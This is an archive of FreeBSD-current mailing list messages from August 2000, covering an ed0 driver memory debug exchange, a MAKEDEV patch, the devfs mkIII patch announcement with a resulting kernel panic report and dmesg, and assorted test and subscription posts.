<14748.48761.18061.79412F@rina> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Aug-18 13:41:29 +0900, Seigo Tanimura wrote: >The memory resource of the card might not be allocated properly. Could >you apply the following patch and report what your kernel print? ed0: conf_maddr = 0xcc000. ed0: tag(mem_res) = 1, handle(mem_res) = 0xc00cc000. ed0: failed to clear shared memory at 0 - check configuration (Looking at the code, the 0 is an offset within the shared memory, so it is a sensible value). I have no idea where the ISA hole should be, but I notice the kernel is normally loaded somewhere around 0xc0354000. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 23: 3:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 290EF37B6E8; Thu, 17 Aug 2000 23:03:39 -0700 (PDT) Received: from grimreaper.grondar.za (mark@localhost [127.0.0.1]) by grimreaper.grondar.za (8.11.0/8.11.0) with ESMTP id e7I64Im02984; Fri, 18 Aug 2000 08:04:18 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200008180604.e7I64Im02984@grimreaper.grondar.za> To: brian@freebsd.org Cc: current@freebsd.org Subject: MAKEDEV broken Date: Fri, 18 Aug 2000 08:04:18 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi It looks like a function got left out of MAKEDEV. This seems to fix it: Index: /usr/src/etc/MAKEDEV =================================================================== RCS file: /home/ncvs/src/etc/MAKEDEV,v retrieving revision 1.268 diff -u -d -r1.268 MAKEDEV --- /usr/src/etc/MAKEDEV 2000/08/16 16:42:50 1.268 +++ /usr/src/etc/MAKEDEV 2000/08/18 06:01:10 @@ -221,6 +221,12 @@ echo $(((($1 >> 8) << 16) | ($1 % 256))) } +# Convert a minor number to a unit number. +minor2unit() +{ + echo $(((($1 >> 16) << 8) | ($1 % 256))) +} + # Raw partition for disks dkrawpart=2 M To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 23:46:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id D2AE937B506 for ; Thu, 17 Aug 2000 23:46:14 -0700 (PDT) Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4CB916E3D77 for ; Thu, 17 Aug 2000 23:26:03 -0700 (PDT) Received: from win98 ([203.55.243.217]) by mta05.mail.mel.aone.net.au with SMTP id <20000817025135.FOVG3895.mta05.mail.mel.aone.net.au@win98> for ; Thu, 17 Aug 2000 12:51:35 +1000 Message-ID: <002501c0081c$eea26320$85586ccb@win98> From: "test" To: Subject: test Date: Thu, 17 Aug 2000 00:29:40 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0022_01C007E2.3B4A43E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0022_01C007E2.3B4A43E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Test Yemin ------=_NextPart_000_0022_01C007E2.3B4A43E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Test
 
Yemin
------=_NextPart_000_0022_01C007E2.3B4A43E0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Aug 17 23:46:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id A844637B50B for ; Thu, 17 Aug 2000 23:46:15 -0700 (PDT) Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id 58C886E3D6C for ; Thu, 17 Aug 2000 23:25:50 -0700 (PDT) Received: from stldtp0499.aone.com.au ([203.108.14.194]) by mta05.mail.mel.aone.net.au with ESMTP id <20000817031913.FXWI3895.mta05.mail.mel.aone.net.au@stldtp0499.aone.com.au> for ; Thu, 17 Aug 2000 13:19:13 +1000 Message-Id: <4.3.2.7.2.20000817131819.00c23700@wheresmymailserver.com> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 17 Aug 2000 13:19:12 +1000 To: current@freebsd.org From: Hostmaster Subject: Test Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 0: 3:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id 03A5437B424; Fri, 18 Aug 2000 00:03:37 -0700 (PDT) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.9.3/8.9.3) with ESMTP id IAA13917; Fri, 18 Aug 2000 08:02:06 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.0/8.11.0) with ESMTP id e7I71xF45531; Fri, 18 Aug 2000 08:01:59 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200008180701.e7I71xF45531@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Mark Murray Cc: brian@FreeBSD.org, current@FreeBSD.org, brian@Awfulhak.org Subject: Re: MAKEDEV broken In-Reply-To: Message from Mark Murray of "Fri, 18 Aug 2000 08:04:18 +0200." <200008180604.e7I64Im02984@grimreaper.grondar.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 18 Aug 2000 08:01:59 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oops, I meant unit2minor for ugen & urio :-/ > Hi > > It looks like a function got left out of MAKEDEV. > > This seems to fix it: > > Index: /usr/src/etc/MAKEDEV > =================================================================== > RCS file: /home/ncvs/src/etc/MAKEDEV,v > retrieving revision 1.268 > diff -u -d -r1.268 MAKEDEV > --- /usr/src/etc/MAKEDEV 2000/08/16 16:42:50 1.268 > +++ /usr/src/etc/MAKEDEV 2000/08/18 06:01:10 > @@ -221,6 +221,12 @@ > echo $(((($1 >> 8) << 16) | ($1 % 256))) > } > > +# Convert a minor number to a unit number. > +minor2unit() > +{ > + echo $(((($1 >> 16) << 8) | ($1 % 256))) > +} > + > # Raw partition for disks > dkrawpart=2 > > M > -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 0: 7:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.129.65]) by hub.freebsd.org (Postfix) with ESMTP id 1492537B443 for ; Fri, 18 Aug 2000 00:07:08 -0700 (PDT) Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id 85E086E3D50 for ; Thu, 17 Aug 2000 23:42:13 -0700 (PDT) Received: from win98 ([203.55.243.217]) by mta01.mail.mel.aone.net.au with SMTP id <20000817024506.FCGC28276.mta01.mail.mel.aone.net.au@win98> for ; Thu, 17 Aug 2000 12:45:06 +1000 Message-ID: <001001c0081c$075fcfc0$85586ccb@win98> From: "test" To: Subject: test Date: Thu, 17 Aug 2000 00:23:22 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000D_01C007E1.59E3A0E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C007E1.59E3A0E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Please reply. Yemin ------=_NextPart_000_000D_01C007E1.59E3A0E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Please reply.
 
Yemin
------=_NextPart_000_000D_01C007E1.59E3A0E0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 1:32:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from ockle.dev.nanoteq.co.za (ockle.dev.nanoteq.co.za [196.7.114.28]) by hub.freebsd.org (Postfix) with ESMTP id D5AB537B424; Fri, 18 Aug 2000 01:32:39 -0700 (PDT) Received: (from johan@localhost) by ockle.dev.nanoteq.co.za (8.9.3/8.9.3) id KAA04734; Fri, 18 Aug 2000 10:43:25 +0200 (SAST) (envelope-from johan) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Fri, 18 Aug 2000 10:43:24 +0200 (SAST) Organization: Nanoteq From: Johan Kruger To: FreeBSD Current , freebsd-hackers@FreeBSD.ORG Subject: Loading font with libvgl Cc: sos@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hmm, a few days back on the mailing list i saw there was problem with specifying a different font when using libvgl. Allthough this is not critical to my application, it would shurely enhance the look and feel of my app. So i am wondering ... is somebody working on this ? And nope , i cant work on it right now. *;-) Just curios ---------------------------------- Unix Software Developer/Engineer E-Mail: Johan Kruger Date: 18-Aug-00 Time: 10:37:54 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 3:50:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id 25EE737B424 for ; Fri, 18 Aug 2000 03:50:24 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id MAA82379; Fri, 18 Aug 2000 12:49:54 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Bruce Evans Cc: Boris Popov , current@FreeBSD.ORG Subject: Re: Patch test & review: vop_stdaccess() In-Reply-To: Your message of "Thu, 17 Aug 2000 23:47:26 +1000." Date: Fri, 18 Aug 2000 12:49:54 +0200 Message-ID: <82377.966595794@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG New version of patch incorporating most of the Brucifications: http://phk.freebsd.dk/patch/vaccess.patch Comments & tests please. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 6: 6:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from avias.com (avias-gw.corbina.net [195.14.40.4]) by hub.freebsd.org (Postfix) with ESMTP id 46CA637B422 for ; Fri, 18 Aug 2000 06:06:42 -0700 (PDT) Received: from libretto.avias.local (dialup2.avias.com [195.14.38.69]) by avias.com (8.9.3/8.9.3) with ESMTP id RAA52412 for ; Fri, 18 Aug 2000 17:06:32 +0400 (MSD) (envelope-from juriy@avias.com) Date: Fri, 18 Aug 2000 17:06:33 +0400 (MSD) From: Juriy Goloveshkin X-Sender: juriy@localhost To: freebsd-current@freebsd.org Subject: keyinfo... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all. 1) somebody close bin/15371. I wrote to imp, but he kept silent. or I must send pr for close pr? 2) I think this code is useless. --- keyinfo.c --- login = getlogin(); if (login == NULL) errx(1, "Cannot find login name"); if (getuid() != 0 && argc > 1 && strcmp(login, argv[1]) != 0) errx(1, "Only superuser may get another user's keys"); --- keyinfo shows the same that after login prompt... I'm right or not? Bye Juriy Goloveshkin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 11:22:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id 2B03137B422 for ; Fri, 18 Aug 2000 11:22:18 -0700 (PDT) Received: from localhost (IDENT:BKo1kDT0zd1s7V1SxsndccA5nMREQsvoGWyIRT9EP0ussBhrcrB0KOkBfPm5l7Om@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7IILov56074; Sat, 19 Aug 2000 03:21:50 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Sat, 19 Aug 2000 03:21:47 +0900 (JST) Message-Id: <20000819.032147.38313550.ume@mahoroba.org> To: archie@whistle.com Cc: freebsd-current@freebsd.org Subject: Re: 5.0 snapshot install problem From: Hajimu UMEMOTO In-Reply-To: <200008172141.OAA96335@bubba.whistle.com> References: <20000818.055133.48522708.ume@mahoroba.org> <200008172141.OAA96335@bubba.whistle.com> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Thu, 17 Aug 2000 14:41:47 -0700 (PDT) >>>>> Archie Cobbs said: archie> Yes, now I understand.. you and your patch are exactly right. archie> A combined patch is below; please review. It seems fine for me. # It was already committed. :-) -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 11:45:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.whistle.com (gatekeeper.whistle.com [207.76.204.2]) by hub.freebsd.org (Postfix) with ESMTP id BC08637B422 for ; Fri, 18 Aug 2000 11:45:29 -0700 (PDT) Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by gatekeeper.whistle.com (8.9.3/8.9.3) with ESMTP id LAA20846; Fri, 18 Aug 2000 11:45:29 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.3/8.9.3) id LAA08394; Fri, 18 Aug 2000 11:45:28 -0700 (PDT) (envelope-from archie) From: Archie Cobbs Message-Id: <200008181845.LAA08394@bubba.whistle.com> Subject: Re: LINT doesn't compile In-Reply-To: <200008180223.WAA68580@khavrinen.lcs.mit.edu> from Garrett Wollman at "Aug 17, 2000 10:23:27 pm" To: Garrett Wollman Date: Fri, 18 Aug 2000 11:45:28 -0700 (PDT) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Garrett Wollman writes: > > Somebody remind me again why we don't make memcmp(), memset(), > > and memmove() available in the kernel? > > To keep the compiler from pessimizing them. Sooo.. does this same problem exist in userland too? If not, why not? If so, why don't we just fix the problem? I.e. there seems to be something broken here, either in the compiler or somewhere else... and perhaps we should fix that instead of avoiding the issue? Not trying to be annoying, just trying to understand.. Thanks, -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 13:41:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id A723637B42C for ; Fri, 18 Aug 2000 13:41:34 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA84515 for ; Fri, 18 Aug 2000 22:41:32 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: PATCH: devfs mkIII test & review please. From: Poul-Henning Kamp Date: Fri, 18 Aug 2000 22:41:32 +0200 Message-ID: <84513.966631292@critter> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please look at, test and review: http://phk.freebsd.dk/patch/devfsIII.patch Do not despair at the size of the patch, the majority of it are the removal of the old DEVFS. The kernel shrinks 3000 lines because of this patch. Please report the exact patch version in your emails, I will be updating the patch on my web-server at regular intervals. I intend to commit this stuff in the next week, and I hope that we can make DEVFS the default pretty soon after. Until you have seen a few "this works for me" emails, you should probably not try this on a machine you don't want hosed. I will give a presentation at BSDcon about this entire ball of wax: DEVFS, dev_t, disk-minilayer, struct bio/buf and so on. Be there! Poul-Henning README: devfsIII.patch Contains the patches needed to add the mkIII devfs in fs/devfs and remove the mkI in miscfs/devfs. (This patch includes the "vaccess.patch" as well, I expect that will be committed separately before this patch) Apply patch, add "options DEVFS" to your kernel and tell me what happens. Status: Functional (at least on my diskless test box). Drivers which do real cloning: md bpf tun Missing: Rename Subdirs. Close some race conditions using guaranteed atomic operations. Mountoption (ro ?) to prevent new devices from appearing in an instance. All uses of cdevsw_add() needs to be use devfs_clone() instead. Patch Version: Fri Aug 18 22:32:54 CEST 2000 Poul-Henning -- draft commit message(s) -- Remove all traces of Julians DEVFS (incl from kern/subr_diskslice.c) Remove old DEVFS support fields from dev_t. Make uid, gid & mode members of dev_t and set them in make_dev(). Use correct uid, gid & mode in make_dev in disk minilayer. Use makedev() rather than make_dev() for MFSs magic devices to prevent DEVFS from noticing this abuse. Add a field for DEVFS inode number in dev_t. Add new DEVFS in fs/devfs. Add devfs cloning to: disk minilayer (ie: ad(4), sd(4), cd(4) etc etc) md(4), tun(4), bpf(4) If DEVFS add -d flag to /sbin/inits args to make it mount devfs. Add commented out DEVFS to GENERIC -- end -- -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 14:56:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 29B7437B424 for ; Fri, 18 Aug 2000 14:56:50 -0700 (PDT) Received: (qmail 20426 invoked by uid 0); 18 Aug 2000 21:56:47 -0000 Received: from bw1-41pub46.bluewin.ch (HELO hmemainb82fch) (195.186.41.46) by mail.gmx.net with SMTP; 18 Aug 2000 21:56:47 -0000 Message-ID: <000801c0095f$28b5a570$175261b6@hmemainb82fch> From: "Raphael Hemmerle" To: Subject: JOIN Date: Fri, 18 Aug 2000 23:56:25 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C0096F.EB3AC110" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C0096F.EB3AC110 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0005_01C0096F.EB3AC110 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_0005_01C0096F.EB3AC110-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 14:57:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 274F237B43C for ; Fri, 18 Aug 2000 14:57:20 -0700 (PDT) Received: (qmail 21307 invoked by uid 0); 18 Aug 2000 21:57:18 -0000 Received: from bw1-41pub46.bluewin.ch (HELO hmemainb82fch) (195.186.41.46) by mail.gmx.net with SMTP; 18 Aug 2000 21:57:18 -0000 Message-ID: <000801c0095f$3b22bf90$175261b6@hmemainb82fch> From: "Raphael Hemmerle" To: Subject: subscribe freebsd-current Date: Fri, 18 Aug 2000 23:56:56 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C0096F.FD727350" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C0096F.FD727350 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0005_01C0096F.FD727350 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_0005_01C0096F.FD727350-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Aug 18 20:52:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 89C3C37B424 for ; Fri, 18 Aug 2000 20:52:50 -0700 (PDT) Received: (qmail 9845 invoked by uid 0); 19 Aug 2000 03:52:48 -0000 Received: from p3e9922cf.dip0.t-ipconnect.de (HELO gmx.net) (62.153.34.207) by mail.gmx.net with SMTP; 19 Aug 2000 03:52:48 -0000 Message-ID: <399E04BD.3AEF6B31@gmx.net> Date: Sat, 19 Aug 2000 05:53:33 +0200 From: Robert Drehmel X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: Poul-Henning Kamp Cc: current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. References: <84513.966631292@critter> Content-Type: multipart/mixed; boundary="------------CD4992067B057DE3DC660AE0" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------CD4992067B057DE3DC660AE0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit In <84513.966631292@critter>, Poul-Henning Kamp wrote: > Please look at, test and review: > > http://phk.freebsd.dk/patch/devfsIII.patch [...] When booting the kernel built from a sys tree patched with the above patch, i get the following: (dmesg.out is attached) """ Mounting root from ufs:/dev/ad0s1a devfs_mount(mp = 0xc0b2be00) devfs_mount: root vp = 0xc6f66b00 devfs_statfs(mp = 0xc0b2be00) devfs_mount: at /dev cloned ad0s1b -> 0xc0b31b80 Fatal trap 12: page fault while in kernel mode fault virtual address = 0xe8 fault code = supervisor write, page not present instruction pointer = 0x8:0xc024176c stack pointer = 0x10:0xc7560e3c frame pointer = 0x10:0xc7560e54 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 16 (swapon) interrupt mask = none trap number = 12 panic: page fault """ -- Robert S. F. Drehmel FreeBSD i386 5.0-CURRENT #39: Thu Aug 17 16:57:57 CEST 2000 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ --------------CD4992067B057DE3DC660AE0 Content-Type: text/plain; charset=us-ascii; name="dmesg.out" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="dmesg.out" Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #39: Thu Aug 17 16:57:57 CEST 2000 root@QuizBot.org:/usr/src/sys/compile/GIZMO Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 99967437 Hz CPU: Pentium/P54C (99.97-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x525 Stepping = 5 Features=0x1bf real memory = 83886080 (81920K bytes) avail memory = 78176256 (76344K bytes) Preloaded elf kernel "kernel.old" at 0xc035b000. Intel Pentium detected, installing workaround for F00F bug md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pci0: at 0.0 isic0: port 0xfce0-0xfcff mem 0xfedffc00-0xfedffc1f irq 11 at device 12.0 on pci0 isic0: ISAC 2085 Version A1/A2 or 2086/2186 Version 1.1 (IOM-2) isab0: at device 18.0 on pci0 isa0: on isab0 pci0: at 19.0 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 isa0: unexpected small tag 1 ata0 at port 0x1f0-0x1f7,0x3f6 irq 14 on isa0 ata1 at port 0x170-0x177,0x376 irq 15 on isa0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fd0: <1440-KB 3.5" drive> on fdc0 drive 0 ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode plip0: on ppbus0 ppi0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port sbc0: at port 0x220-0x22f irq 5 drq 1 on isa0 pcm1: on sbc0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 on isa0 sio0: type 16550A vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 unknown: can't assign resources unknown: <16450 compatible COM device> can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources i4b: ISDN call control device attached i4btel: 1 ISDN telephony interface device(s) attached i4brbch: 2 raw B channel access device(s) attached i4bipr: 1 IP over raw HDLC ISDN device(s) attached (VJ header compression) i4bctl: ISDN system control port attached i4btrc: 1 ISDN trace device(s) attached i4bisppp: 1 ISDN SyncPPP device(s) attached ad0: 814MB [1654/16/63] at ata0-master using BIOSPIO acd0: CDROM at ata1-slave using BIOSPIO Mounting root from ufs:/dev/ad0s1a --------------CD4992067B057DE3DC660AE0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 1: 6:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id D698937B423 for ; Sat, 19 Aug 2000 01:06:20 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id KAA85508; Sat, 19 Aug 2000 10:06:18 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Robert Drehmel Cc: current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. In-Reply-To: Your message of "Sat, 19 Aug 2000 05:53:33 +0200." <399E04BD.3AEF6B31@gmx.net> Date: Sat, 19 Aug 2000 10:06:18 +0200 Message-ID: <85506.966672378@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please configure DDB and INVARIANTS in your kernel when you use this patch, and send me output from the "trace" command in DDB when it panics. Poul-Henning In message <399E04BD.3AEF6B31@gmx.net>, Robert Drehmel writes: >This is a multi-part message in MIME format. >--------------CD4992067B057DE3DC660AE0 >Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit > >In <84513.966631292@critter>, Poul-Henning Kamp >wrote: > >> Please look at, test and review: 